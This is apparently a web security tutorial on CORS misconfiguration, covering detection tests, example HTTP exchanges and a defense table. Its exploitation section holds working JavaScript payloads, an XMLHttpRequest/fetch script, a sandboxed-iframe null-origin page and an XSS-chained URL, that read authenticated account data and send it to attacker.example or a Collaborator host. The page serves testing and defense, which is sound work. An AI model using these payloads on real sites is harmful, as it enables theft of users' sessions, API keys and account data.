CORS misconfiguration
Cross-Origin Resource Sharing (CORS) is a browser mechanism that relaxes the Same-Origin Policy (SOP) to allow controlled cross-origin requests. When misconfigured, it lets an attacker’s website read authenticated responses from the target, turning a configuration error into credential theft, API key leakage, or full account takeover.
Same-Origin Policy and why CORS exists
Section titled “Same-Origin Policy and why CORS exists”The SOP prevents a page on attacker.example from reading responses from target.example.
Without it, any website could steal your session data from every other site you are logged into.
The SOP allows sending cross-origin requests (forms, images, scripts), but blocks reading the response. CORS selectively lifts this restriction: the server tells the browser which origins are allowed to read its responses.
CORS headers
Section titled “CORS headers”| Header | Direction | Purpose |
|---|---|---|
Access-Control-Allow-Origin (ACAO) |
Response | Which origin can read the response |
Access-Control-Allow-Credentials (ACAC) |
Response | Whether the browser sends cookies with the request |
Access-Control-Allow-Methods |
Response | Allowed HTTP methods (preflight) |
Access-Control-Allow-Headers |
Response | Allowed custom headers (preflight) |
Access-Control-Expose-Headers |
Response | Which response headers the client can read |
Access-Control-Max-Age |
Response | How long to cache preflight results (seconds) |
Origin |
Request | The origin of the cross-origin request (set by the browser) |
The two conditions for exploitation
Section titled “The two conditions for exploitation”For a CORS misconfiguration to be exploitable, both must be true:
Access-Control-Allow-Originincludes the attacker’s origin (or is dynamically reflected)Access-Control-Allow-Credentials: trueis present (so the browser sends the victim’s cookies)
Without ACAC: true, the attacker gets only unauthenticated data, which is rarely sensitive.
How to identify CORS misconfigurations
Section titled “How to identify CORS misconfigurations”The 7-test methodology
Section titled “The 7-test methodology”Run these tests in order on every endpoint that returns sensitive data. Use Burp Repeater:
pick a request that returns user-specific data (profile, API keys, account details) and add
the Origin header with different values.
Test 1 - Origin reflection
Section titled “Test 1 - Origin reflection”Send a request with an arbitrary Origin:
GET /api/account HTTP/1.1Host: target.exampleOrigin: https://attacker.exampleCookie: session=victim-session-tokenHTTP/1.1 200 OKAccess-Control-Allow-Origin: https://attacker.exampleAccess-Control-Allow-Credentials: true
{"username": "victim", "email": "victim@example.com", "apiKey": "ak_live_secret123"}If the server echoes back whatever Origin you send and includes ACAC: true, it is
vulnerable. Any website can read authenticated responses.
Test 2 - Null origin
Section titled “Test 2 - Null origin”GET /api/account HTTP/1.1Host: target.exampleOrigin: nullCookie: session=victim-session-tokenHTTP/1.1 200 OKAccess-Control-Allow-Origin: nullAccess-Control-Allow-Credentials: trueSome developers whitelist null thinking it is a safe default. The attacker can force the
browser to send Origin: null using a sandboxed iframe.
Test 3 - Whitelist bypass (subdomain matching)
Section titled “Test 3 - Whitelist bypass (subdomain matching)”The server whitelists *.target.example. Test if the matching is too loose:
GET /api/account HTTP/1.1Host: target.exampleOrigin: https://attackertarget.exampleGET /api/account HTTP/1.1Host: target.exampleOrigin: https://target.example.attacker.exampleIf either returns ACAO with that origin, the whitelist regex is flawed.
Test 4 - Wildcard with credentials
Section titled “Test 4 - Wildcard with credentials”GET /api/account HTTP/1.1Host: target.exampleOrigin: https://attacker.exampleHTTP/1.1 200 OKAccess-Control-Allow-Origin: *Access-Control-Allow-Credentials: trueThe CORS spec says browsers must reject * + ACAC: true together, but some older or custom
implementations may not enforce this. Test it.
Test 5 - XSS on a trusted subdomain
Section titled “Test 5 - XSS on a trusted subdomain”If the server only allows *.target.example, find XSS on any subdomain. An XSS on
blog.target.example lets you execute JavaScript from a trusted origin.
GET /api/account HTTP/1.1Host: target.exampleOrigin: https://blog.target.exampleCookie: session=victim-session-tokenIf ACAO: https://blog.target.example + ACAC: true, and blog.target.example has XSS,
the attacker chains XSS into CORS data theft.
Test 6 - Trusted insecure protocol (HTTP)
Section titled “Test 6 - Trusted insecure protocol (HTTP)”GET /api/account HTTP/1.1Host: target.exampleOrigin: http://subdomain.target.exampleCookie: session=victim-session-tokenHTTP/1.1 200 OKAccess-Control-Allow-Origin: http://subdomain.target.exampleAccess-Control-Allow-Credentials: trueIf an HTTPS site trusts an HTTP origin, a man-in-the-middle attacker on the network can intercept the HTTP request, serve a malicious page, and steal CORS data from the HTTPS site.
Test 7 - Intranet with wildcard
Section titled “Test 7 - Intranet with wildcard”Internal applications often set ACAO: * because “only internal users can reach it.”
If the victim visits the attacker’s page while connected to the corporate network, the
attacker’s JavaScript runs in the victim’s browser and can reach internal endpoints.
GET /internal/admin HTTP/1.1Host: intranet.corpOrigin: https://attacker.exampleHTTP/1.1 200 OKAccess-Control-Allow-Origin: *No credentials needed here (wildcard does not allow them), but internal data is exposed.
Automation with Burp
Section titled “Automation with Burp”For each request in the site map that returns sensitive data:
- Send to Repeater
- Add
Origin: https://attacker.exampleand send - Check if
ACAOreflects the origin - Add
Origin: nulland send - Try subdomain variations:
https://attackertarget.example,https://target.example.evil.net - For each hit, check if
ACAC: trueis present
Exploitation
Section titled “Exploitation”Test 1 exploit: origin reflection (credential theft)
Section titled “Test 1 exploit: origin reflection (credential theft)”The server echoes any Origin. The attacker hosts this page and sends the link to the victim:
<script>var req = new XMLHttpRequest();req.onload = function() { fetch('https://YOUR-ID.oastify.com/log', { method: 'POST', mode: 'no-cors', body: this.responseText });};req.open('GET', 'https://target.example/api/account', true);req.withCredentials = true;req.send();</script>When the victim visits the attacker’s page:
- The browser sends a cross-origin request to
target.example/api/accountwith the victim’s cookies - The server returns the account data with
ACAO: https://attacker.example+ACAC: true - The browser allows the attacker’s JavaScript to read the response
- The script exfiltrates the data (API keys, email, CSRF tokens) to Burp Collaborator
Using fetch instead of XMLHttpRequest:
<script>fetch('https://target.example/api/account', {credentials: 'include'}) .then(r => r.text()) .then(t => navigator.sendBeacon('https://YOUR-ID.oastify.com/log', t));</script>Test 2 exploit: null origin (sandboxed iframe)
Section titled “Test 2 exploit: null origin (sandboxed iframe)”The server trusts Origin: null. The attacker forces null using a sandboxed iframe:
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>var req = new XMLHttpRequest();req.onload = function() { location = 'https://YOUR-ID.oastify.com/log?data=' + encodeURIComponent(this.responseText);};req.open('GET','https://target.example/api/account',true);req.withCredentials = true;req.send();</script>"></iframe>The sandbox attribute strips the iframe’s origin, making the browser send Origin: null.
The server sees null, matches its whitelist, and returns ACAO: null + ACAC: true.
Test 5 exploit: XSS on trusted subdomain
Section titled “Test 5 exploit: XSS on trusted subdomain”The server only trusts *.target.example, but blog.target.example has reflected XSS in a
search parameter. Chain them:
https://blog.target.example/search?q=<script>var req = new XMLHttpRequest();req.onload = function() { fetch('https://YOUR-ID.oastify.com/log', { method: 'POST', mode: 'no-cors', body: this.responseText });};req.open('GET','https://target.example/api/account',true);req.withCredentials = true;req.send();</script>The XSS fires on blog.target.example (a trusted origin). The CORS request to
target.example succeeds because the origin is whitelisted. The victim’s data is stolen.
Test 6 exploit: breaking TLS via MITM
Section titled “Test 6 exploit: breaking TLS via MITM”The HTTPS site trusts http://subdomain.target.example. The attacker needs a
man-in-the-middle position (open WiFi, ARP spoofing, DNS hijack):
- Victim browses any HTTP page (or the attacker forces a redirect to
http://subdomain.target.example) - Attacker intercepts the HTTP request (no TLS, so the response is controllable)
- Attacker responds with a malicious page:
<script>var req = new XMLHttpRequest();req.onload = function() { new Image().src = 'https://attacker.example/exfil?data=' + encodeURIComponent(this.responseText);};req.open('GET', 'https://target.example/api/account', true);req.withCredentials = true;req.send();</script>- Browser executes the script in the context of
http://subdomain.target.example(a trusted origin per the CORS policy) - CORS request to
https://target.examplesucceeds with credentials - Data is exfiltrated to
attacker.example
The root cause: trusting HTTP origins from an HTTPS site breaks the TLS guarantee.
Chaining CORS with other vulnerabilities
Section titled “Chaining CORS with other vulnerabilities”| Chain | How it works | Impact |
|---|---|---|
| CORS + XSS | XSS on trusted subdomain executes cross-origin read | Data theft without direct CORS reflection |
| CORS to CSRF | CORS leaks the CSRF token, then use it for state-changing requests | Bypass CSRF protection entirely |
| CORS + IDOR | CORS leaks other users’ data via an IDOR endpoint | Mass data exfiltration |
| CORS to account takeover | CORS leaks API key or password change token | Full account compromise |
CORS vs CSRF
Section titled “CORS vs CSRF”CORS is not a CSRF protection. They address different things:
| CORS | CSRF | |
|---|---|---|
| Controls | Who can read responses | Who can trigger actions |
| Mechanism | Browser-enforced via response headers | Tokens, SameSite cookies, Referer checks |
| Misconfiguration impact | Data theft (read access) | Unauthorized actions (write access) |
A misconfigured CORS can actually enable CSRF: if the attacker can read responses cross-origin, they can extract CSRF tokens and use them.
Preflight requests
Section titled “Preflight requests”For “non-simple” requests (custom headers, methods other than GET/HEAD/POST, non-standard content types), the browser sends an OPTIONS preflight before the actual request:
OPTIONS /api/data HTTP/1.1Host: target.exampleOrigin: https://other.exampleAccess-Control-Request-Method: PUTAccess-Control-Request-Headers: X-Custom-HeaderHTTP/1.1 204 No ContentAccess-Control-Allow-Origin: https://other.exampleAccess-Control-Allow-Methods: GET, POST, PUTAccess-Control-Allow-Headers: X-Custom-HeaderAccess-Control-Allow-Credentials: trueAccess-Control-Max-Age: 7200Preflight does not prevent exploitation of the misconfigurations above, because reading data
with GET + withCredentials is a “simple” request that does not trigger preflight.
Defense
Section titled “Defense”| Measure | Implementation |
|---|---|
| Specify exact origins | ACAO: https://app.target.example, never reflect the Origin header blindly |
Never whitelist null |
Origin: null can be forged via sandboxed iframes |
| Strict whitelist matching | Use exact string comparison, not substring or regex with loose anchors |
| Do not trust HTTP origins | If the main site is HTTPS, only trust HTTPS origins |
| Validate server-side | CORS is a browser mechanism. The server must still enforce authentication and authorization on every request. |
Avoid ACAO: * on sensitive endpoints |
Wildcard is acceptable for truly public, unauthenticated data only |
| Do not expose sensitive data on GET endpoints without authorization | Even with CORS fixed, reduce the blast radius |
| Audit trusted subdomains | A trusted subdomain with XSS breaks the entire CORS policy |
References
Section titled “References”- PortSwigger Web Security Academy - CORS
- PortSwigger Lab: CORS vulnerability with basic origin reflection
- PortSwigger Lab: CORS vulnerability with trusted null origin
- PortSwigger Lab: CORS vulnerability with trusted insecure protocols
- MDN - Cross-Origin Resource Sharing
- OWASP Testing Guide - CORS
- HackTricks - CORS
1,232 words, about 6 min read